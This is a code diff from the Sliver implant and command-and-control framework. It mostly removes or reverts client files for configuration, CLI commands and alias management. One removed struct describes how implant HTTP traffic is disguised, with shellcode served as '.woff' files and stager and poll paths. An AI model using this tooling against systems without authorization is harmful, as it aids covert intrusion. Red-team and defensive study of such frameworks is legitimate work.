-	appDir := GetRootAppDir()
-	localVer := assetVersion()
-	if force || localVer == "" || localVer != ver.GitCommit {
-		if echo {
-			fmt.Printf(`
-Sliver  Copyright (C) 2022  Bishop Fox
-This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
-This is free software, and you are welcome to redistribute it
-under certain conditions; type 'licenses' for details.`)
-			fmt.Printf("\n\nUnpacking assets ...\n")
-		}
-		saveAssetVersion(appDir)
-	}
-	if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
-		SaveSettings(nil)
-	}
-}

client/assets/c2profiles.go

@@ -1,86 +0,0 @@
-package assets
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-// HTTPC2Config - Parent config file struct for implant/server
-type HTTPC2Config struct {
-	ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
-	ServerConfig  HTTPC2ServerConfig  `json:"server_config"`
-}
-
-// HTTPC2ServerConfig - Server configuration options
-type HTTPC2ServerConfig struct {
-	RandomVersionHeaders bool                   `json:"random_version_headers"`
-	Headers              []NameValueProbability `json:"headers"`
-	Cookies              []string               `json:"cookies"`
-}
-
-type NameValueProbability struct {
-	Name        string `json:"name"`
-	Value       string `json:"value"`
-	Probability int    `json:"probability"`
-	Methods     []string
-}
-
-// HTTPC2ImplantConfig - Implant configuration options
-// Procedural C2
-// ===============
-// .txt = rsakey
-// .css = start
-// .php = session
-//
-//	.js = poll
-//
-// .png = stop
-// .woff = sliver shellcode
-type HTTPC2ImplantConfig struct {
-	UserAgent         string `json:"user_agent"`
-	ChromeBaseVersion int    `json:"chrome_base_version"`
-	MacOSVersion      string `json:"macos_version"`
-
-	NonceQueryArgChars string                 `json:"nonce_query_args"`
-	URLParameters      []NameValueProbability `json:"url_parameters"`
-	Headers            []NameValueProbability `json:"headers"`
-
-	MaxFiles int `json:"max_files"`
-	MinFiles int `json:"min_files"`
-	MaxPaths int `json:"max_paths"`
-	MinPaths int `json:"min_paths"`
-
-	// Stager files and paths
-	StagerFileExt string   `json:"stager_file_ext"`
-	StagerFiles   []string `json:"stager_files"`
-	StagerPaths   []string `json:"stager_paths"`
-
-	// Poll files and paths
-	PollFileExt string   `json:"poll_file_ext"`
-	PollFiles   []string `json:"poll_files"`
-	PollPaths   []string `json:"poll_paths"`
-
-	// Session files and paths
-	StartSessionFileExt string   `json:"start_session_file_ext"`
-	SessionFileExt      string   `json:"session_file_ext"`
-	SessionFiles        []string `json:"session_files"`
-	SessionPaths        []string `json:"session_paths"`
-
-	// Close session files and paths
-	CloseFileExt string   `json:"close_file_ext"`
-	CloseFiles   []string `json:"close_files"`
-	ClosePaths   []string `json:"close_paths"`
-}

client/assets/config.go

@@ -23,9 +23,10 @@ import (
 	"encoding/json"
 	"errors"
 	"fmt"
-	"io"
+	"io/ioutil"
 	"log"
 	"os"
+	"path"
 	"path/filepath"
 )
 
@@ -39,7 +40,6 @@ type ClientConfig struct {
 	Operator      string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
 	LHost         string `json:"lhost"`
 	LPort         int    `json:"lport"`
-	Token         string `json:"token"`
 	CACertificate string `json:"ca_certificate"`
 	PrivateKey    string `json:"private_key"`
 	Certificate   string `json:"certificate"`
@@ -48,9 +48,9 @@ type ClientConfig struct {
 // GetConfigDir - Returns the path to the config dir
 func GetConfigDir() string {
 	rootDir, _ := filepath.Abs(GetRootAppDir())
-	dir := filepath.Join(rootDir, ConfigDirName)
+	dir := path.Join(rootDir, ConfigDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
-		err = os.MkdirAll(dir, 0o700)
+		err = os.MkdirAll(dir, 0700)
 		if err != nil {
 			log.Fatal(err)
 		}
@@ -61,7 +61,7 @@ func GetConfigDir() string {
 // GetConfigs - Returns a list of available configs
 func GetConfigs() map[string]*ClientConfig {
 	configDir := GetConfigDir()
-	configFiles, err := os.ReadDir(configDir)
+	configFiles, err := ioutil.ReadDir(configDir)
 	if err != nil {
 		log.Printf("No configs found %v", err)
 		return map[string]*ClientConfig{}
@@ -69,8 +69,8 @@ func GetConfigs() map[string]*ClientConfig {
 
 	confs := map[string]*ClientConfig{}
 	for _, confFile := range configFiles {
-		confFilePath := filepath.Join(configDir, confFile.Name())
-		// log.Printf("Parsing config %s", confFilePath)
+		confFilePath := path.Join(configDir, confFile.Name())
+		log.Printf("Parsing config %s", confFilePath)
 
 		conf, err := ReadConfig(confFilePath)
 		if err != nil {
@@ -85,12 +85,12 @@ func GetConfigs() map[string]*ClientConfig {
 // ReadConfig - Load config into struct
 func ReadConfig(confFilePath string) (*ClientConfig, error) {
 	confFile, err := os.Open(confFilePath)
+	defer confFile.Close()
 	if err != nil {
 		log.Printf("Open failed %v", err)
 		return nil, err
 	}
-	defer confFile.Close()
-	data, err := io.ReadAll(confFile)
+	data, err := ioutil.ReadAll(confFile)
 	if err != nil {
 		log.Printf("Read failed %v", err)
 		return nil, err
@@ -107,13 +107,13 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
 // SaveConfig - Save a config to disk
 func SaveConfig(config *ClientConfig) error {
 	if config.LHost == "" || config.Operator == "" {
-		return errors.New("empty config")
+		return errors.New("Empty config")
 	}
 	configDir := GetConfigDir()
 	filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
-	saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
+	saveTo, _ := filepath.Abs(path.Join(configDir, filename))
 	configJSON, _ := json.Marshal(config)
-	err := os.WriteFile(saveTo, configJSON, 0o600)
+	err := ioutil.WriteFile(saveTo, configJSON, 0600)
 	if err != nil {
 		log.Printf("Failed to write config to: %s (%v)", saveTo, err)
 		return err

client/assets/extensions.go

@@ -1,65 +0,0 @@
-package assets
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"log"
-	"os"
-	"path/filepath"
-)
-
-const (
-	// ExtensionsDirName - Directory storing the client side extensions
-	ExtensionsDirName = "extensions"
-)
-
-// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
-func GetExtensionsDir() string {
-	rootDir, _ := filepath.Abs(GetRootAppDir())
-	dir := filepath.Join(rootDir, ExtensionsDirName)
-	if _, err := os.Stat(dir); os.IsNotExist(err) {
-		err = os.MkdirAll(dir, 0700)
-		if err != nil {
-			log.Fatal(err)
-		}
-	}
-	return dir
-}
-
-// GetInstalledExtensionManifests - Returns a list of installed extension manifests
-func GetInstalledExtensionManifests() []string {
-	extDir := GetExtensionsDir()
-	extDirContent, err := os.ReadDir(extDir)
-	if err != nil {
-		log.Printf("error loading aliases: %s", err)
-		return []string{}
-	}
-	manifests := []string{}
-	for _, fi := range extDirContent {
-		if fi.IsDir() {
-			manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
-			if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
-				log.Printf("no manifest in %s, skipping ...", manifestPath)
-				continue
-			}
-			manifests = append(manifests, manifestPath)
-		}
-	}
-	return manifests
-}

client/assets/settings.go

@@ -1,82 +0,0 @@
-package assets
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"encoding/json"
-	"os"
-	"path/filepath"
-)
-
-const (
-	settingsFileName = "tui-settings.json"
-)
-
-// ClientSettings - Client JSON config
-type ClientSettings struct {
-	TableStyle        string `json:"tables"`
-	AutoAdult         bool   `json:"autoadult"`
-	BeaconAutoResults bool   `json:"beacon_autoresults"`
-	SmallTermWidth    int    `json:"small_term_width"`
-	AlwaysOverflow    bool   `json:"always_overflow"`
-	VimMode           bool   `json:"vim_mode"`
-	UserConnect       bool   `json:"user_connect"`
-	ConsoleLogs       bool   `json:"console_logs"`
-}
-
-// LoadSettings - Load the client settings from disk
-func LoadSettings() (*ClientSettings, error) {
-	rootDir, _ := filepath.Abs(GetRootAppDir())
-	data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
-	if err != nil {
-		return defaultSettings(), err
-	}
-	settings := defaultSettings()
-	err = json.Unmarshal(data, settings)
-	if err != nil {
-		return defaultSettings(), err
-	}
-	return settings, nil
-}
-
-func defaultSettings() *ClientSettings {
-	return &ClientSettings{
-		TableStyle:        "SliverDefault",
-		AutoAdult:         false,
-		BeaconAutoResults: true,
-		SmallTermWidth:    170,
-		AlwaysOverflow:    false,
-		VimMode:           false,
-		ConsoleLogs:       true,
-	}
-}
-
-// SaveSettings - Save the current settings to disk
-func SaveSettings(settings *ClientSettings) error {
-	rootDir, _ := filepath.Abs(GetRootAppDir())
-	if settings == nil {
-		settings = defaultSettings()
-	}
-	data, err := json.MarshalIndent(settings, "", "  ")
-	if err != nil {
-		return err
-	}
-	err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0o600)
-	return err
-}

client/cli/cli.go

@@ -25,8 +25,11 @@ import (
 	"path"
 
 	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/rsteube/carapace"
+	"github.com/bishopfox/sliver/client/transport"
+	"github.com/bishopfox/sliver/client/version"
+
 	"github.com/spf13/cobra"
 )
 
@@ -34,10 +37,14 @@ const (
 	logFileName = "sliver-client.log"
 )
 
-// Initialize logging.
+var (
+	sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
+)
+
+// Initialize logging
 func initLogging(appDir string) *os.File {
 	log.SetFlags(log.LstdFlags | log.Lshortfile)
-	logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
+	logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
 	if err != nil {
 		panic(fmt.Sprintf("[!] Error opening file: %s", err))
 	}
@@ -46,53 +53,57 @@ func initLogging(appDir string) *os.File {
 }
 
 func init() {
-	appDir := assets.GetRootAppDir()
-	logFile := initLogging(appDir)
-	defer logFile.Close()
-
-	rootCmd.TraverseChildren = true
-
-	// Create the console client, without any RPC or commands bound to it yet.
-	// This created before anything so that multiple commands can make use of
-	// the same underlying command/run infrastructure.
-	con := console.NewConsole(false)
 
 	// Import
-	rootCmd.AddCommand(importCmd())
+	rootCmd.AddCommand(cmdImport)
 
 	// Version
 	rootCmd.AddCommand(cmdVersion)
-
-	// Client console.
-	// All commands and RPC connection are generated WITHIN the command RunE():
-	// that means there should be no redundant command tree/RPC connections with
-	// other command trees below, such as the implant one.
-	rootCmd.AddCommand(consoleCmd(con))
-
-	// Implant.
-	// The implant command allows users to run commands on slivers from their
-	// system shell. It makes use of pre-runners for connecting to the server
-	// and binding sliver commands. These same pre-runners are also used for
-	// command completion/filtering purposes.
-	rootCmd.AddCommand(implantCmd(con))
-
-	// No subcommand invoked means starting the console.
-	rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true)
-
-	// Completions
-	carapace.Gen(rootCmd)
 }
 
 var rootCmd = &cobra.Command{
 	Use:   "sliver-client",
 	Short: "",
 	Long:  ``,
+	Run: func(cmd *cobra.Command, args []string) {
+		appDir := assets.GetRootAppDir()
+		logFile := initLogging(appDir)
+		defer logFile.Close()
+
+		os.Args = os.Args[:1] // Stops grumble from complaining
+		err := StartClientConsole()
+		if err != nil {
+			fmt.Printf("[!] %s\n", err)
+		}
+	},
 }
 
-// Execute - Execute root command.
+// StartClientConsole - Start the client console
+func StartClientConsole() error {
+	configs := assets.GetConfigs()
+	if len(configs) == 0 {
+		fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
+		return nil
+	}
+	config := selectConfig()
+	if config == nil {
+		return nil
+	}
+
+	fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
+	rpc, ln, err := transport.MTLSConnect(config)
+	if err != nil {
+		fmt.Printf("Connection to server failed %v", err)
+		return nil
+	}
+	defer ln.Close()
+	return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
+}
+
+// Execute - Execute root command
 func Execute() {
 	if err := rootCmd.Execute(); err != nil {
-		fmt.Printf("root command: %s\n", err)
+		fmt.Println(err)
 		os.Exit(1)
 	}
 }

client/cli/config.go

@@ -23,10 +23,12 @@ import (
 	"sort"
 
 	"github.com/bishopfox/sliver/client/assets"
+
 	"gopkg.in/AlecAivazis/survey.v1"
 )
 
 func selectConfig() *assets.ClientConfig {
+
 	configs := assets.GetConfigs()
 
 	if len(configs) == 0 {
@@ -51,6 +53,7 @@ func selectConfig() *assets.ClientConfig {
 }
 
 func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
+
 	keys := []string{}
 	for k := range configs {
 		keys = append(keys, k)

client/cli/console.go

@@ -1,86 +0,0 @@
-package cli
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/transport"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/spf13/cobra"
-	"google.golang.org/grpc"
-)
-
-// consoleCmd generates the console with required pre/post runners.
-func consoleCmd(con *console.SliverClient) *cobra.Command {
-	consoleCmd := &cobra.Command{
-		Use:   "console",
-		Short: "Start the sliver client console",
-	}
-
-	consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
-	return consoleCmd
-}
-
-func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
-	var ln *grpc.ClientConn
-
-	pre = func(_ *cobra.Command, _ []string) error {
-
-		configs := assets.GetConfigs()
-		if len(configs) == 0 {
-			fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
-			return nil
-		}
-		config := selectConfig()
-		if config == nil {
-			return nil
-		}
-
-		// Don't clobber output when simply running an implant command from system shell.
-		if run {
-			fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
-		}
-
-		var rpc rpcpb.SliverRPCClient
-		var err error
-
-		rpc, ln, err = transport.MTLSConnect(config)
-		if err != nil {
-			fmt.Printf("Connection to server failed %s", err)
-			return nil
-		}
-
-		return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
-	}
-
-	// Close the RPC connection once exiting
-	post = func(_ *cobra.Command, _ []string) error {
-		if ln != nil {
-			return ln.Close()
-		}
-
-		return nil
-	}
-
-	return pre, post
-}

client/cli/implant.go

@@ -1,93 +0,0 @@
-package cli
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"errors"
-
-	"github.com/bishopfox/sliver/client/command"
-	"github.com/bishopfox/sliver/client/command/use"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/constants"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-)
-
-func implantCmd(con *console.SliverClient) *cobra.Command {
-	con.IsCLI = true
-
-	makeCommands := command.SliverCommands(con)
-	cmd := makeCommands()
-	cmd.Use = constants.ImplantMenu
-
-	// Flags
-	implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError)
-	implantFlags.StringP("use", "s", "", "interact with a session")
-	cmd.Flags().AddFlagSet(implantFlags)
-
-	// Pre-runners (console setup, connection, etc)
-	cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
-
-	// Completions
-	makeCompleters(cmd, con)
-
-	return cmd
-}
-
-func makeRunners(implantCmd *cobra.Command, con *console.SliverClient) (pre, post func(cmd *cobra.Command, args []string) error) {
-	startConsole, closeConsole := consoleRunnerCmd(con, false)
-
-	// The pre-run function connects to the server and sets up a "fake" console,
-	// so we can have access to active sessions/beacons, and other stuff needed.
-	pre = func(_ *cobra.Command, args []string) error {
-		startConsole(implantCmd, args)
-
-		// Set the active target.
-		target, _ := implantCmd.Flags().GetString("use")
-		if target == "" {
-			return errors.New("no target implant to run command on")
-		}
-
-		session := con.GetSession(target)
-		if session != nil {
-			con.ActiveTarget.Set(session, nil)
-		}
-
-		return nil
-	}
-
-	return pre, closeConsole
-}
-
-func makeCompleters(cmd *cobra.Command, con *console.SliverClient) {
-	comps := carapace.Gen(cmd)
-
-	comps.PreRun(func(cmd *cobra.Command, args []string) {
-		cmd.PersistentPreRunE(cmd, args)
-	})
-
-	// Bind completers to flags (wrap them to use the same pre-runners)
-	command.BindFlagCompletions(cmd, func(comp *carapace.ActionMap) {
-		(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-			cmd.PersistentPreRunE(cmd, c.Args)
-			return use.SessionIDCompleter(con)
-		})
-	})
-}

client/cli/import.go

@@ -23,35 +23,25 @@ import (
 	"os"
 
 	"github.com/bishopfox/sliver/client/assets"
-	"github.com/rsteube/carapace"
 	"github.com/spf13/cobra"
 )
 
-func importCmd() *cobra.Command {
-	cmdImport := &cobra.Command{
-		Use:   "import",
-		Short: "Import a client configuration file",
-		Long:  `import [config files]`,
-		Run: func(cmd *cobra.Command, args []string) {
-			if 0 < len(args) {
-				for _, arg := range args {
-					conf, err := assets.ReadConfig(arg)
-					if err != nil {
-						fmt.Printf("[!] %s\n", err)
-						os.Exit(3)
-					}
-					assets.SaveConfig(conf)
+var cmdImport = &cobra.Command{
+	Use:   "import",
+	Short: "Import a client configuration file",
+	Long:  `import [config files]`,
+	Run: func(cmd *cobra.Command, args []string) {
+		if 0 < len(args) {
+			for _, arg := range args {
+				conf, err := assets.ReadConfig(arg)
+				if err != nil {
+					fmt.Printf("[!] %s\n", err)
+					os.Exit(3)
 				}
-			} else {
-				fmt.Printf("Missing config file path, see --help")
+				assets.SaveConfig(conf)
 			}
-		},
-		ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
-			return []string{}, cobra.ShellCompDirectiveDefault
-		},
-	}
-
-	carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration"))
-
-	return cmdImport
+		} else {
+			fmt.Printf("Missing config file path, see --help")
+		}
+	},
 }

client/command/alias/README.md

@@ -1,11 +0,0 @@
-Alias
-===========
-
-Wraps external DLLs/tool in Sliver console commands.
-
-
-
-### Format
-
-* `alias-dir/`
-* * `manifest.json` - 

client/command/alias/alias.go

@@ -1,140 +0,0 @@
-package alias
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"encoding/json"
-	"fmt"
-	"os"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/jedib0t/go-pretty/v6/text"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-)
-
-// AliasesCmd - The alias command.
-func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) error {
-	if 0 < len(loadedAliases) {
-		PrintAliases(con)
-	} else {
-		con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
-	}
-
-	return nil
-}
-
-// PrintAliases - Print a list of loaded aliases.
-func PrintAliases(con *console.SliverClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Name",
-		"Command Name",
-		"Platforms",
-		"Version",
-		"Installed",
-		".NET Assembly",
-		"Reflective",
-		"Tool Author",
-		"Repository",
-	})
-	tw.SortBy([]table.SortBy{
-		{Name: "Name", Mode: table.Asc},
-	})
-	tw.SetColumnConfigs([]table.ColumnConfig{
-		{Number: 5, Align: text.AlignCenter},
-	})
-
-	installedManifests := getInstalledManifests()
-	for _, aliasPkg := range loadedAliases {
-		installed := ""
-		if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
-			installed = "✅"
-		}
-		tw.AppendRow(table.Row{
-			aliasPkg.Manifest.Name,
-			aliasPkg.Manifest.CommandName,
-			strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
-			aliasPkg.Manifest.Version,
-			installed,
-			aliasPkg.Manifest.IsAssembly,
-			aliasPkg.Manifest.IsReflective,
-			aliasPkg.Manifest.OriginalAuthor,
-			aliasPkg.Manifest.RepoURL,
-		})
-	}
-	con.Println(tw.Render())
-}
-
-// AliasCommandNameCompleter - Completer for installed extensions command names.
-func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverClient) []string {
-	results := []string{}
-	for name := range loadedAliases {
-		if strings.HasPrefix(name, prefix) {
-			results = append(results, name)
-		}
-	}
-	return results
-}
-
-func aliasPlatforms(aliasPkg *AliasManifest) []string {
-	platforms := map[string]string{}
-	for _, entry := range aliasPkg.Files {
-		platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
-	}
-	keys := []string{}
-	for key := range platforms {
-		keys = append(keys, key)
-	}
-	return keys
-}
-
-func getInstalledManifests() map[string]*AliasManifest {
-	manifestPaths := assets.GetInstalledAliasManifests()
-	installedManifests := map[string]*AliasManifest{}
-	for _, manifestPath := range manifestPaths {
-		data, err := os.ReadFile(manifestPath)
-		if err != nil {
-			continue
-		}
-		manifest := &AliasManifest{}
-		err = json.Unmarshal(data, manifest)
-		if err != nil {
-			continue
-		}
-		installedManifests[manifest.CommandName] = manifest
-	}
-	return installedManifests
-}
-
-// AliasCommandNameCompleter - Completer for installed extensions command names.
-func AliasCompleter() carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		results := []string{}
-		for name := range loadedAliases {
-			results = append(results, name)
-		}
-		return carapace.ActionValues(results...).Tag("aliases")
-	})
-}

client/command/alias/alias_test.go

@@ -1,90 +0,0 @@
-package alias
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import "testing"
-
-const (
-	sample1 = `{
-	"name": "test1",
-	"command_name": "test1",
-	"version": "1.0.0",
-	"repo_url": "https://example.com/",
-	"help": "some help",
-	"entrypoint": "foo",
-	"allow_args": true,
-	"default_args": "bar",
-	"is_reflective": true,
-	"is_assembly": true,
-	"files": [
-		{
-			"os": "windows",
-			"arch": "amd64",
-			"path": "foo/test1.dll"
-		}
-	]
-}`
-)
-
-func TestParseAliasManifest(t *testing.T) {
-	alias1, err := ParseAliasManifest([]byte(sample1))
-	if err != nil {
-		t.Errorf("Error parsing alias manifest: %s", err)
-	}
-
-	if alias1.Name != "test1" {
-		t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
-	}
-
-	if alias1.CommandName != "test1" {
-		t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
-	}
-
-	if alias1.Version != "1.0.0" {
-		t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
-	}
-
-	if alias1.RepoURL != "https://example.com/" {
-		t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
-	}
-
-	if alias1.Help != "some help" {
-		t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
-	}
-
-	if alias1.Entrypoint != "foo" {
-		t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
-	}
-
-	if !alias1.AllowArgs {
-		t.Errorf("Expected allow_args to be true, got false")
-	}
-
-	if alias1.DefaultArgs != "bar" {
-		t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
-	}
-
-	if !alias1.IsReflective {
-		t.Errorf("Expected is_reflective to be true, got false")
-	}
-
-	if !alias1.IsAssembly {
-		t.Errorf("Expected is_assembly to be true, got false")
-	}
-}

client/command/alias/commands.go

@@ -1,61 +0,0 @@
-package alias
-
-import (
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-)
-
-// Commands returns the `alias` command and its child commands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	aliasCmd := &cobra.Command{
-		Use:   consts.AliasesStr,
-		Short: "List current aliases",
-		Long:  help.GetHelpFor([]string{consts.AliasesStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			AliasesCmd(cmd, con, args)
-		},
-		GroupID: consts.GenericHelpGroup,
-	}
-
-	aliasLoadCmd := &cobra.Command{
-		Use:   consts.LoadStr + " [ALIAS]",
-		Short: "Load a command alias",
-		Long:  help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
-		Args:  cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			AliasesLoadCmd(cmd, con, args)
-		},
-	}
-	aliasCmd.AddCommand(aliasLoadCmd)
-	flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
-
-	aliasInstallCmd := &cobra.Command{
-		Use:   consts.InstallStr + " [ALIAS]",
-		Short: "Install a command alias",
-		Long:  help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
-		Args:  cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			AliasesInstallCmd(cmd, con, args)
-		},
-	}
-	aliasCmd.AddCommand(aliasInstallCmd)
-	flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
-
-	aliasRemove := &cobra.Command{
-		Use:   consts.RmStr + " [ALIAS]",
-		Short: "Remove an alias",
-		Long:  help.GetHelpFor([]string{consts.RmStr}),
-		Args:  cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			AliasesRemoveCmd(cmd, con, args)
-		},
-	}
-	flags.NewCompletions(aliasRemove).PositionalCompletion(AliasCompleter())
-	aliasCmd.AddCommand(aliasRemove)
-
-	return []*cobra.Command{aliasCmd}
-}

client/command/alias/install.go

@@ -1,183 +0,0 @@
-package alias
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
